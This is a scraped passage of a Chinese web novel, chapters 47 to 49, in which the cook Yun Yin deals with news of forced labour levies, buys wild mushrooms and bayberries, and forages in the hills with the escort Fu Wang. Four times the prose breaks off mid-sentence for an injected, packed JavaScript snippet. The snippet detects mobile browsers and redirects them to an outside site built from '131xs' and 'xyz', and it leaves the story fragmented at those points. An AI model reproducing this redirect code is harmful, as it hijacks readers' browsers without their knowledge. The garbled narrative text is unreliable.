郑桂兰的手微顿，看着前方正与张林说话的云音，沉思一会儿后道：“这个要问一问云娘子，看她有没有想收徒弟的意愿，若是没有我们也不要强求。” 方荷用力点了点头道：“我知道的，我会征求云娘子的同意。” 就在此时，一辆骡车从远处行驶而来，云音眼尖看到赶车的人还是个熟人，连忙打断与傅望的交谈：“我这边来客人了，今日先到这里吧。” 傅望望向远处走来的人，眯了眯眼道：“那今日便到这里，来日我们再比划比划。” 云音扬声道：“随时奉陪。” 她三两步走到万乐巧身旁道：“你来了，正好我这边都准备好了，你跟我来。” 万乐巧带了不少东西，云音帮着她把东西搬到厨房，指挥他们把之前熬好的高汤端过来，对万乐巧道：“高汤要提前熬，所以我先准备了，不过这种清汤想必你也知道该怎么熬，我给你讲一遍你就明白了。” 说完她洗了手去厨房忙碌，万乐巧赶紧跟上，二人在厨房忙活起来，一时间只听到的二人的交谈声。 傅望洗了脸和手，端着一杯清茶坐到大树下，望着忙碌个不停的云音，端起茶挡住嘴边的笑意，直到晚上睡下依旧还能回想起，这段日子与她的点点滴滴，躺在床上翻来覆去睡不着，怕打扰到张林，直接出了门。 披着星光走在空旷的田野上，他盯着天上的星星想着云娘子是不是已经睡着了，明日早食她会做什么好吃的，想到她的一举一动，此时他的心便平静不下来，连身后传来的脚步声都没能听见。 “傅郎君，这大晚上的，你不睡觉在这里做什么？” 傅望被这突如其来的声音吓了一跳，他轻轻咳嗽一声，遮掩住活蹦乱跳的心脏，“额，睡不着，出来走走。云娘子这么晚出来是？” 云音指了指远处的水田道：“过来查看我养的东西有没有什么问题。” 傅望坐到田埂上，对云音道：“方便坐下聊聊吗？我们好像没好好聊过天。” 云音也一屁股坐下，托着下巴歪头看他：“你想聊什么？” 傅望仰头看着闪闪烁烁的星光，好奇道：“云娘子是哪里人？从没听你提起过家乡。” 云音转头看着前面的稻田，低声道：“我的家乡啊，那是个很遥远地的地方，远到我已经找不着回家的路。” “是忘记路了吗？”傅望询问道，“或许你可以告诉我，我能帮你找一找，好歹我这么多年南来北往，去过许多地方。” 云音摇头：“不用了，找不到的，我已经回不去了。” 傅望沉默下来，他心情沉重，明明想要好好与云娘子说说话，也想多了解她一二，总是提到她的伤心事，惹她难过，傅望一时间竟不知该如何开口。 就在二人沉默时，之前呱呱叫的蛙鸣也陷入沉默，傅望还是没忍住道：“你已经有家了，再过一个月，你的家就要建好了。” 云音抬头看向他，笑着点头道：“你说的不错，我现在已经有家了。”她问傅望，“你呢，你打算一直这样四处走镖？不想安顿下来吗？” 傅望静静望着她道：“以前没想过，但今日之后我会好好想想的。” 云音与他视线对上，被他眼神里的认真与温情灼伤，不知怎的突然有些心慌，连忙起身道：“时间不早了，明日还有好多事要忙，我就不打扰你了，你也早点休息吧。” 傅望看着她跑远的背影，绽放出笑颜，之前那些惴惴不安，此时尽数被抚平，他总算能睡个安慰觉了。 翌日，一晚上没睡好的云音，时不时想起傅望的昨晚的那个眼神，不知他是什么意思，一直困扰着他，直到见到坐在饭桌前的傅望，她仍然弄不明白。 想不通的事情她也就不想了，走到厨房，此时张林已经把灶上的火点起来，正在烧水，她看了看筐子里的食材道：“今日早上煮个丝瓜蛋汤吧，夏日就是要吃瓜，明日我们吃冬瓜。” 说到冬瓜，张林挠挠头道：“我房间还有个冬瓜，我忘记拿出来了。” 云音好奇看过去：“你把冬瓜放你房间干嘛？” “嘿嘿，晚上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338885|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太热了，我抱着睡觉呢，可凉快了。” 云音没想到张林竟然是抱着冬瓜睡觉的，她转头看向傅望，傅望摇头否认：“我没觉得热，不需要抱着冬瓜睡觉。” 云音脑补傅望抱着冬瓜睡觉的场景，“扑哧”笑出声来，在他疑惑看过来时，连忙收敛神色，去处理丝瓜。 吃完早食，张林去负责早食摊，天气越发热起来，他们已经不卖汤面了，连炸酱面也卖的少了，只有葱油拌面还有人吃。早食摊如今除了槐叶冷陶和凉皮，也只卖各种凉面，正好是吃黄瓜的季节，配上黄瓜丝和绿豆芽，非常清爽。 云音收拾好桌子，送走最后一批客人，刚坐下休息，又有人前来，她起身相迎，看到是认识的人，她诧异道：“钱嫂子怎么来了？” 钱嫂子提着一个篮子走到云音身旁，看了看饭摊情况，“云娘子生意可还好？” “还可以。”云音给钱嫂子倒一杯凉茶，询问她，“嫂子来找我有事？” 钱嫂子把篮子里东西拿出来道：“过来给你送条鱼，还有些事情要跟你说。” 云音看着那条还活着的鲈鱼，连声拒绝：“嫂子这是做什么，这鱼拿去卖也能卖个几十文钱呢。” 钱嫂子直接把那条鱼递给张林，转身对云音道：“你不要我的鱼可是看不上我，你也没要我们任何东西，便把能挣钱的方法教给我们。如今我们家也种了不少草菇，我也不用愁孩子上学的钱，我不过送你条鱼，你还推三阻四，是不是不想与我来往了。” 云音说不过她，只能应下：“这次我收下，嫂子以后不用带东西来，我这里什么都不缺的，况且我教你们种蘑菇，我自己也受益啊。” 钱嫂子白了她一眼道：“难道你买蘑菇没给钱？好了不说这个了，我过来是想告诉你一件事，县里发通知，说是过几日要抽调人修水利，今年要加征服役的人数，连女户也不能避免。” “我来是想告诉你，若是你不想去服役，要上交两贯钱，县里那边才不会过来抓你。” 云音听到这个消息，眉头一跳，“之前不是抓了一匹流民去修水利吗？怎么现在还需要人。” 钱嫂子叹气道：“谁知道呢，反正我们这几个村每户都要出人，两贯钱谁家也付不起啊，今年这才过半，便已经服两次役，下半年还不知道是什么光景呢。” 云音余光见张林有些不安，追问道：“临时户籍需要吗？” 钱嫂子也看了看张林，摇头道：“暂时还没听说，不过最近还是少让他出门吧，万一被抓了，也无处说理啊。我阿翁虽然是里正，但也没办法给你什么帮助，最近只能多加小心了。” 云音颔首道：“多谢钱嫂子给我们送来消息，这实在太感谢了。” “恩，最晚后日要把名单报上去，所以你这边要早点做决定。” 云音：“我知道，我会尽快准备的。” 就在这时又有几个背着背篓衣衫朴素的人群走了过来，钱嫂子看着这群人，对云音道：“那我不打扰你，你忙吧，我先走了。” 送走钱嫂子，云音望向其中一个人道：“陈四郎，你怎么也今日过来了。”她看着他身后背着的背篓，眼前一亮，招呼这几人坐下说话。 47. 第47间客栈 云音侧身去看他们的背篓，里面果然摆着打理的干干净净的鸡枞菌，她忍不住咽了咽口水道：“你们还真给我送来了，这菌子怎么卖？” 陈四郎见云音当真愿意买这菌子，一路上提着的心终于落下，他犹豫一会儿道：“按之前我们送去江北县的价格如何？” 云音一听三十文一斤，二话不说把他们带来的鸡枞菌全部收下，当然其他菌子她也按收购的价格买下，她笑眯眯对陈四郎道：“若是以后还有这种菌子，依旧给我送过来哈，不管多少，我这里都收。” 陈四郎应下道：“我知道了，云娘子，不过这种菌子很难找，可能不会有那么多。今年也是隔壁县不收我们的菌子，所有才有这些留下的。” “没事，有多少送多少过来。”云音一点也不嫌弃少，这菌子不趁着现在多收点，下次想吃得明年了。 苏奶奶送给她的那瓶鸡枞油，她早吃完了，连后来买的干鸡枞菌也煲汤吃掉了，草菇虽然味道也不错，但又怎么比得上真正的山珍呢。 云音把这筐鸡枞菌换个筐装好，想到他提起隔壁县不收他们的菌子，不由好奇道：“他们怎么不收了？” 陈四郎把钱揣进怀里，头也不抬道：“还不是之前那土匪的事情闹得，都说那些土匪跟我们没关系，北江县的人不听我们的解释，说是因我们的缘故导致他们提心吊胆许久，也不收我们送的菌子和其他蔬菜。” “谁知道那些土匪从哪里来的，我们还损失惨重呢，县里也没说给个补偿。”陈四郎抱怨道，“哎，有没有土匪这日子都不好过，听说县里又要服役，这回轮到我了，还不知回来是什么光景呢。” 张林听着一时也是戚戚然，他十分担忧自己的处境。 对于服役一事，云音也无能为力，她自己还要交两贯钱，其他她帮不了，但他们采的山珍她还是收下的，她道：“若是你们还有什么好东西，我这里都要。” 陈四郎本来已经要走了，听到这话回头问：“什么都行？野果也行吗？” 云音没想到还真有新鲜的东西，她扬眉道：“是什么野果？” 陈四郎：“是山里长的野果，听村里有见识的人说，那果子叫杨梅，但因为太酸了，大家都不爱吃。”他不好意思笑笑，“所以想问问你这里收它吗？若是你需要，我明日给你送过来。” 原来是杨梅啊，云音喜欢吃啊，只是不知道野生的杨梅味道怎么样，不管怎么样来拿泡酒是没问题的，想到这里她道：“那你明日给我送一筐过来，如果果子不错，我之后还会再买的。” 陈四郎没想到山里没人要的果子也能卖出去，他感激道：“云娘子放心吧，我肯定挑最好的给你送过来。” 送走陈四郎，云音眉开眼笑道：“你们今日有口福了，我们今天中午喝鸡汤吧。” 张林没云音那般淡定，陈四郎走后他越发焦躁：“云娘子，你真的不担心服役的事情吗？而且我还是……” 云音打断他未说出口的话道：“怕什么，等他们真的抓人了再说，我先把钱交了，真的是一丁点钱也存不住，才白得的2贯钱，又没了。” 傅望皱眉道：“龙安县的县令杜鹏是明经出身，今年是他来龙安县的第七年，若是明年他还不能升迁，他以后升迁的机会更少了。” “朝廷每四年一大考，若是他想在明年升迁，必须有不错的政绩，他或许是想通过修水利来博一份政绩。” 云音扬眉道：“你知道的还挺多。” 傅望：“没办法，我们常年在外行走，要多了解当地的地方官，知道对方为官如何，品性如何，这样才方便我们顺利行走，不然碰到不好说话的县令，把我们的货扣下也没处说理。” 云音想想他说的也很有道理，现在不像她那个时代，可以随便寄送东西，这时候交通不便，路途也危险，一般人想要带东西，要么通过驿站，要么通过镖局，而很多商队没那么多部曲，也会选择找镖局送货。 傅望不多了解一些，确实很容易出问题，他走南闯北这么多年，想必对这些事情驾轻就熟，她也不必为他担忧，还是多想想自己。 她道：“可他想要升迁光靠修水利应该不行吧。” 傅望颔首道：“这只是其中之一，我听说他打算让流民落籍，尽快让人口数量增长，这样他考评时，或许能得上等也说不准。” 云音对县令升不升迁不感兴趣，她只是觉得县令的算盘可能会落空，她道：“如果县令不免除赋税，就算不收银子能落户，分不到地有什么用，依然没什么人愿意落户的。” 傅望道：“是这样没错，不过云娘子不必担心，总归还有刺史在，绵州刺史是个很有能力的人，不会出现张林担心的事情。他如今是附籍的人，六年之内不用缴税和服役，你们不用担心。” 张林听到此话，顿时安心不少。云音倒是想起来之前孙里正提起过，让张林尽快落正式户籍的事情，倒是没说不用服役之事，不过如今肯定不能落户籍了，有正式户籍张林便要去服役，他当初正是不想修水利，才逃跑的。 不管如何，日子还是要过的，云音打算用刚刚买的鸡枞菌煲鸡汤，来抚慰大家的心情，那条钱嫂子送的鲈鱼，拿来清蒸也不错，夏日吃些清单的饮食。 云音招呼张林去烧水，又让郑桂兰去清洗鸡枞菌，她则去牛棚旁的鸡笼里抓两只母鸡杀了，这母鸡还是找乐桃村的村民买的，都已经是不下蛋的老母鸡。 她抓鸡的动作很迅速，鸡还没反应过来时，她已经提着两只母鸡走了，一旁的黑豆摇着尾巴跟着她走几步，但因为项圈的缘故，无法继续跟随，只能可怜兮兮看着云音。 云音拍拍它头道：“下午我带你去跑一跑，别着急。” 她回到饭馆时，热水已经烧好，云音和张林一人一只鸡，杀鸡放血拔毛，刚刚杀的鸡还热乎着呢，云音把鸡油取了煎出油来，斩好的鸡块放到锅里炒一炒，加入葱姜，分出一半倒入大釜里熬汤。 另一半继续炒一炒加入大酱，其他调料焖煮，一会儿做个草菇鸡煲。 鸡汤煮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344205|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上，鸡煲也焖上，鲈鱼可以不用急着蒸，鱼肉很容易熟，最后做这道菜也行。 剩下的时间她可以休息了，等着吃午饭的人过来点菜，到时候现做。 午食适合做快手菜，云音每日会事先准备一个大菜外，其他的都是炒菜或者蒸菜，她会告诉食客今天有什么菜，他可以点他想吃的，只要不麻烦云音都能做，当然若是食客不嫌麻烦，可以等，那云音也能做。 若是实在不知道吃什么，云音这边也提供食单，他们也可以照单点菜，食客的选择多起来，云音也能做不同的菜，不用局限于每天做同样的菜。 自从饭摊的食单更改后，反倒是比以前更受欢迎了，之前因为天气热，很多客人不愿意跑一趟，如今也愿意来了。 路过的行商看到这里吃饭的人多，也愿意停下吃个饭，顺道打听一些消息，云音每日午食和晚食都很忙碌，眼看着张林和郑桂兰两人帮忙都有些忙不过来。 傅望也挽起袖子帮忙上菜道：“云娘子，你该雇人了，这样你也太累了。” 云音擦擦额头上的汗水道：“等罗娘子那边的事情解决，我便与罗田他们签契约。” 傅望道：“他们有两个人想去军营，我已经答应了，他们也说好会把第一年的钱都交给罗娘子，希望能弥补一二。” 云音：“嗯，我明日下午带罗田去找罗娘子，她那边证据应该搜集的差不多了，接下来就是跟他们谈判了。” 傅望：“你这么忙，还是我带着他去一趟吧，正好再打磨打磨他。” 云音想想傅望去也行，之前的事情他也是经历者，也不是必须要她去的。 忙过这一阵，他们终于清闲下来，云音从厨房里端出已经熬好的鸡汤，又快速把鲈鱼蒸了，炒几个菜，几人坐在一起吃午饭。 新鲜的鸡枞菌的香味非常浓郁，常常能很远便闻到这股清香，云音喝了一口混着菌子的鸡汤，实在是太鲜美了，每每吃着时，她都感叹大自然真神奇，竟然能孕育出如此美妙的食材。 她一口接一口地喝着鸡汤，桌上的其他人也不例外，就连一向喜欢吃鱼的傅望，也觉得今日的这碗汤味道更合他心意。 云音大口喝着汤，露出陶醉神情，剩下的菌子她下午要熬鸡枞油，明日若是还想喝汤，鸡枞菌也不够，她转头看向吃的开心的傅望道：“傅郎君明日一早跟我去采菌子吧。” 傅望放下碗筷回看她：“我倒是没问题，只是能采到吗？” 云音很有信心道：“绝对没问题，只要仔细点，还是能找到的。” 一旁的郑桂兰夹了一块鸡肉给女儿，接话道：“不一定能采到，我记得这种菌子往年大家会采了卖到县城，价格还不便宜，只是最近几年采到的人越来越少，大家也少了一个赚钱的方法。” 云音：“既然九溪村能有，你们村子也有，想必我身后的山里也有，傅郎君，你明日跟着我，保证能采到菌子。” 傅望看着活力满满的云音，扬起笑脸道：“嗯，那就拜托云娘子了。” 48. 第48间客栈 翌日天还没亮，云音绑好袖口和裤腿，拿着背篓推门走出去，一眼看到站在她门口的傅望，她打招呼道：“傅郎君来的这么早，我还打算叫你呢。” 傅望收回视线看着穿着朴素的云音道：“早起习惯了，而且时候也不算太早，我们平日走镖，这时候已经在路上了。” 云音看看他拿着的背篓，身后还背着弓箭，好奇道：“你怎么还背着弓箭？” 傅望道：“要去山里深处，带上弓箭还是更为安全。云娘子日后去山里，也带上弓箭防身，鞭子在山林里作用不大。” 云音耸耸肩道：“弓箭我还真不太熟练。”她会的多是刀剑棍棒一类，弓箭没专门练过，准头没那么好。 傅望唇角上扬，“你想学很简单，我教你便是，这个并不难的。” 云音：“嗯，确实要学一下，那就拜托你，我一定认真学。” 傅望：“没问题，我一定把你教会。” 他们说完，云音看着前方道：“走吧，我们赶紧出发，昨天晚上刚下过雨，正适合采菌子，今天运气肯定不错。” 傅望笑笑道：“嗯，可能老天也想让你采到吧。” 她不再多话，直接带着傅望往山里走去，早晨的山林云雾缭绕，空气格外清新，没有被污染过的大自然，仿佛进入仙境一般，身体都舒展开来，她深呼吸一口气，感受着勃勃生机。 云音甩着棍子挥打两边草地，惊走藏着的蛇虫，等越靠近山里云雾越大，都有些看不清山里的环境。 她叹气道：“我们好像来的太早了，路都快看不见了。” 傅望走到她身旁道：“没事，你抓住我衣服，我带你走。” 对于山林的情况，自然是当过兵又走镖的傅望更熟悉些，他带着云音穿梭在小道上，时不时爬个坡，绕个路，很快来到一片开阔的树林。 他指着前方道：“先去前面看看吧，这里应该很适合菌子生长。” 云音看了眼前方的树林，一大片松树耸立在那里，树林下方铺满一片松针，她颔首道：“确实，很多蘑菇都喜欢长在松树林，走吧，我们赶紧进去看看。” 她背着背篓快步跑了进去，刚刚踏入她便眼尖看见羊肚菌，这菌子表面一层凹凸，像极了羊肚，她快步走上，把这几朵菌子收入囊中。 “傅望快过来，我发现好东西了。” 傅望从上面跳下来，走到云音身旁，看着她喜气洋洋的模样，好奇道：“找到你想要的菌子了？” 云音摇头：“没有，不过这个菌子也好吃。” 她把背篓里的羊肚菌给傅望看，“果然是吃菌子的季节，一进来就发现好东西，走，我们多找点，这个菌子很难得，拿来煲汤也很好吃，与鸡枞菌是不一样的风味。” 傅望只能眼睁睁看着云音继续往前，无奈笑笑跟上她的步伐。 六月的蘑菇，如同小精灵一个个生长在奇幻的松林里，云音本来是想多采点鸡枞菌回去，谁知刚刚发现羊肚菌，现在又看到白牛肝菌，都是难得一见的菌子，她顿时扑上前，先动手拍拍蘑菇头，然后把这几个肥厚的牛肝菌装到竹筐里。 这蘑菇又叫大脚菇，胖胖的脚圆圆的脑袋，一个个蹲在树林里，非常可爱。 云音又看到前方有一处鼓起来的地方，她一看那里就长了蘑菇，扒开一看，果然长了三个大脚菇，两大一小宛如一家人依偎在一起，她兴高采烈把这一家子带走。 傅望走过来时，云音背篓里已经装了不少大脚菇了，她全心身扑在蘑菇上，根本没发现傅望到来，直到他蹲到云音身旁，她才注意到。 云音把落叶盖回之前长着蘑菇的地方，询问傅望：“你找到多少菌子了？” 傅望耸耸肩道：“并没有找到。” 云音诧异看向他背篓，里面果然空空如也，一朵菌子也没有，她不可置信道：“怎么会一个都没有，很好找啊，你看我都找了好多。” 傅望静静看着云音道：“不然，你教我该怎么找如何？” “行，我教你，你跟我好好学。” 傅望没忍住笑了笑，起身跟着云音的步伐，听着她讲述菌子喜欢在哪里生长，他们一边走，一边听云音讲，她会时不时指着前面一处，让他猜猜蘑菇长在哪里。 若是猜对了，云音会表扬他，若是没猜对，她也会拍他一下，有时候傅望还会故意说错，看到她脸上神色变化，他常常会忍不住笑起来，又惹得云音说他不认真。 云音花了一会时间，总算把傅望教会了，她指着前面的树林道：“我去前面看看，这里交给你了，认真找哦。” 等傅望应下，她立刻往前走去，刚刚那片地方发现太多大脚菇，她已经采了不少，剩下的正好让傅望继续采，她则去前面看看有没有鸡枞菌，她可还记得今日过来是来采鸡枞菌的。 前面泥土很松软，一脚踩下去能很明显感受到泥土柔软的芬芳，这个地方鸡枞菌肯定很喜欢，云音认真在松树根部仔细寻找，果然还是被她发现一个刚刚从土里冒出来的小脑袋。 她用竹片把鸡枞菌挖出来，一根细长鲜嫩的鸡枞菌轻轻松松从土里挖出来，鸡枞菌很喜欢扎堆生长，只要发现一个，周围肯定还能继续找到。 她左右看了看，看到隔壁不远处有一个顶起的鼓包，虽然没看到菌子，但看这样子肯定是鸡枞菌没错了，她上前把这朵也挖出来。 云音越找越开心，这一片地方总共找到八朵，还都是没有开伞的菌子，她小心翼翼把这些菌子装到背篓，继续去前面寻找。 还没走几步，便看到前面已经开伞的鸡枞菌，虽然已经开伞，但她要炸鸡枞油，正需要开伞的鸡枞菌。 开伞的鸡枞菌肉质没有未开伞的鲜嫩，口感没那么好，但油炸能大幅度激发它的香气，所以用来做鸡枞油再适合不过了。 她三两下把这些鸡枞菌挖起来，不一会儿便采到许多，等傅望过来时，她的背篓已经快要装满，看到傅望的背篓也装满，她满意道：“这里真的好多菌子，我可以一整个夏天都来山里采菌子。” 傅望闻言只笑了笑道：“你若是喜欢，我日后都与你一起来。” 云音有些不好意思道：“这多麻烦你啊。” “没事，陪你采菌子也挺有乐趣的。” 云音：“是吧，采菌子很有趣吧，我一直这样觉得，采菌子真的让人心情愉悦。” 傅望并没有反驳她，他说的乐趣并不是采菌子的乐趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16351147|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他指了指背篓道：“已经装满了，我们是不是该回去了。” 云音：“确实该回去了，这些菌子我整理整理，一部分送人，一部分拿来做菜，若是有客人喜欢，也可以加上这道菜。” “对了，你要不要送一些给周昌，你在龙安县待这么久，不去与他聚一聚吗？” 傅望道：“嗯，送一点给他也可以，至于聚会不用了，等我走前跟他说一声就行。” 云音也不了解他们的相处，见他如此只好点头道：“行，那我们赶紧下山吧。” 就在他们要离开松树林时，云音又发现一朵翠绿的菌子，她喊住傅望道：“哎，这里还有菌子，先把这个采了，我们再走吧。” 傅望随她停下，看着她两三步跑到那多绿菌子边，他诧异道：“这种菌子也能吃？” 云音笑着道：“没错，这种菌子叫青头菌，没有毒的哦，是可食用菌子，也很好认，我教你啊。” 傅望蹲下来，听她讲述这种菌子，听着听着，视线移到云音脸上，此时的她散发着愉悦的气息，笑起来甜到他心窝里，他一时间走神，没听到云音的话，回过神时，听到她生气道：“你到底有没有听我说话啊。” 傅望歉意道：“抱歉，刚刚走神了。” 云音有些沮丧道：“你是不是不喜欢采菌子，因为我叫你，你不好拒绝，才陪我来的，若是你不喜欢，其实我一个人也可以的。” 傅望慌张道：“真的没有，我刚刚只是一时有些走神，绝对没有不喜欢。” 云音认真看他几眼，对上他真诚的眼神，她道：“那我暂时信你，你若是不喜欢，可一定要跟我说。” 傅望点头应下，这次认真听她讲的话，一点也不敢走神。 摘完青头菌，云音对傅望道：“这次是真的要走了，背篓都要装不下了。”她看着满满两大背篓蘑菇，真是太满足了。 他们穿过松树林，又翻过一座山，终于回到之前的湖泊旁，云音在这里洗了洗手，看着湖里游动的鱼叹气道：“这里水质挺适合养鲈鱼的，可惜一直没能找到合适的鱼苗。” 如今可不像她那个时候方便，想要养鱼，只要找有鱼塘的人，肯定能买到鱼苗，这时候的人大多打鱼卖鱼，很少人会选择养鱼。农户风险太大，若是鱼死了，损失惨重，富户又不稀罕养鱼，所以云音想找鱼苗也挺麻烦的。 傅望听到她的嘀咕，沉思片刻后道：“我认识一个捕鱼的人，或许可以让他帮你留意一下你想要的鱼苗，不过鲈鱼的价格好像比其他鱼要贵。” 云音听到他有认识的人，立刻站起来道：“真的吗？那太好了，贵一点也没事，鲈鱼价格本就卖的比其他鱼贵，我要的数量还多，价格贵些也无法，只要能多给我些鲈鱼就好。” 又解决一大难题，云音心情畅快的哼着歌往家里走，正要穿过树林时，傅望拦住云音道：“前面有动静。” 云音探头看去，只见一只黄皮动物从灌木丛后方现形，她指了指那只动物道：“这是狍子？” 傅望摇头道：“不是，这是獐子，云娘子你在这里等着，我去把它抓了。”说完他把蘑菇放到一边，拿出背后一直背着的弓箭，往前走了几步，对准那只獐子。 49. 第49间客栈 那只獐子特别机敏，傅望还没靠近，它便有所察觉，一溜烟要逃跑，但傅望早已锁住它逃跑的路线，两箭齐发，一支阻拦它逃跑的方向，另一支箭直接射中它脖颈。 獐子嗷一声倒地，傅望放下弓箭，走到那只肥肥的獐子边，对云音道：“还不错，云娘子，你帮我弄一点藤蔓过来，我把这只獐子捆好带回去。” 云音看到他射箭的潇洒姿势，心生向往，希望她学射箭时，也能有这么飒爽，她扯了一大堆藤蔓走到傅望身边，看着獐子流出来的血道：“我们是不是要赶紧离开。” 傅望砍了一根木棍，把藤蔓和猎物缠绕到木棍上后道：“确实要赶紧离开，不然容易引来其他动物，若是引来野猪就不好了，野猪喜欢成群出现，我们两个人肯定不是一群野猪的对手。” 云音也怕引来大型生物，这片山脉她去的地方还不多，不知山里深处有什么动物，不过听临江村的人提过，山里是有野猪的。 她帮忙分担一半重量，拿上他们采的蘑菇，往山下走去。 傅望在前面带路，也把猎物的大部分重量放到自己身上，不想让云音太过辛苦，他回头看一眼云音，见她并无不适，问她：“你打算怎么吃这个肉？” 獐子肉吗？云音一时间还真不知这东西要怎么处理，要知道这动物在她们那个时代可是保护动物，想吃怕不是想吃牢饭。对于这种野味她处理经验可能还不如傅望，“你们一般是怎么处理这种野味的？” 傅望：“炖着吃，烤着吃吧，我只会这两种，其他的也不会。” “烤和炖吗？”云音颔首道，“行，那我也试试吧，若是做的不好吃，希望你们不要介意。” 傅望：“还有云娘子做的不好吃的菜吗？我还真不相信，你放心做吧，我不挑食。” 他们挑着獐子下山，很快来到一片竹林，只要穿过这片竹林，前面不远处便是云音住的地方，就在她路过竹林时，看到一片片随风飘荡的白裙子在翠绿的竹林间摇曳，她停住脚步对傅望道： “今天是什么好日子，不仅采到了这么多菌子，打到了猎物，现在还看到这一片竹荪，真的是太幸运了，我们把这些竹荪摘了再走吧，不然一会儿回来，这些竹荪就没了。” 云音把所有东西放到一旁，走到竹荪旁，长出来的竹荪已经开伞，需要去除上面的菌盖和底下的菌托，防止它继续生长。 而竹荪上面的菌盖的味道非常臭，云音不想新鲜可口的蘑菇沾染上这股味道，她干脆去用之前剩下的藤蔓，编了两个筐子，把竹荪和菌盖分开放好。 她和傅望两个人一起，很快把这一片竹荪摘走了，看着框里满满的竹荪，她道：“这真的是靠山吃山，靠水吃水，山货也太多了，就是可惜这次没能发现竹鼠，之前找到的竹鼠被我卖掉了，也没能尝到味道。” 傅望道：“云娘子想吃竹鼠，这很简单，我明日再进山一趟，你还想吃什么，我可以看看能不能打到。” 云音星星眼道：“兔子可以吗？我想吃兔子了。”她不好意思摸摸头道，“之前看到你做的兔子雕像，我就想吃兔子，可惜也没看见什么人卖兔子。” 傅望：“好说，那我明日一早进山一趟，你等着我给你带兔子。” 云音对于明天很是期待，不过今天也有好吃的等着她，她带着一大堆山货回到饭摊，张林和郑桂兰张大嘴看着他们道：“乖乖，竟然打了这么大只猎物。” 云音招呼张林道：“你会处理猎物吗？若是会，这獐子交给你处理。” “桂兰，你跟我一起处理竹荪和蘑菇吧。” 张林站在原地愣了一会才道：“我不会处理獐子啊。” 傅望路过他身边道：“我教你，你学着点，以后多帮云娘子的忙，这些杂事你要赶紧学会，不要让她操心。” 张林“哦”了一声，立刻跟着傅望一起去处理獐子肉。 其他蘑菇很好清理，但鸡枞菌因为埋在土里太深，菌柄上沾满泥土，要用小刀小心把这些泥土刮掉，再用水冲洗干净。 云音看向一旁安静的郑桂兰，“你们村里人吃这些蘑菇吗？” 虽然她对自己的眼力很有信心，但还是想找本地人确认一下。 郑桂兰看看篮子里的蘑菇，颔首道：“大部分都是吃的，不过这个绿色的菌子吃的人少，不过我还是见别人吃过，是没毒的菌子。” 云音放下心来，处理完所有的蘑菇，她把竹荪也清洗一遍，一部分拿去晒干，一部分留着午食做汤。 云音挑出一部分獐子肉和蘑菇装好，对傅望道：“你等会带罗田去阿蔓姐那里，这些给她带过去吧，我还留了一些，你记得送给周昌，也多谢他的照拂。” 她在官道上开店这么久，一直没有地痞流氓过来找她麻烦，想想也知道是周昌帮了忙，所以每次她得了什么好东西，也会给周昌送一份。 当然宋时那里也不能少，她这里很多县里来的食客，都是听宋时提起她做的菜，才知道官道边开了一家饭馆，很多人好奇主簿家的公子喜欢吃的菜味道如何，好奇跑过来一探究竟，然后被她的手艺折服。 所有需要送人的东西都准备好，云音看看天色，是时候准备午食了，她拿出一个木板，刷刷两下，用炭笔写上今日特色，各种蘑菇，把这木板立在官道旁，让路过的人能看见。 她刚刚放好木板，陈四郎背着大背篓走了过来，看见云音道：“云娘子，您这是？” 云音拍拍手道：“哦，没事，放个招牌，让我尝尝你的杨梅味道怎么样。” 陈四郎听到这话，也不再关心那招牌的事情，跟她回了饭摊，取下背上的杨梅，小心翼翼道：“云娘子，您看看，我挑的又大又红。” 云音看了眼这杨梅，模样只能说还凑活，比她想象中的小太多，颜色也没那么红，野外生长的自然比不上精心种植的，她拿起一个用水洗了洗，洗去里面的小虫杂质，放到嘴里，一瞬间被这股酸刺激的眼泪都要流下来。 她吐吐舌头道：“这杨梅也太酸了。” 陈四郎眼露担忧，“那云娘子，这杨梅你还要吗？” “你先说这杨梅什么价格？” 陈四郎迟疑道：“一背篓10文，这一背篓大概有二十斤左右，你觉得这价格如何？”他生怕云娘子觉得这价格太高了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355798|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 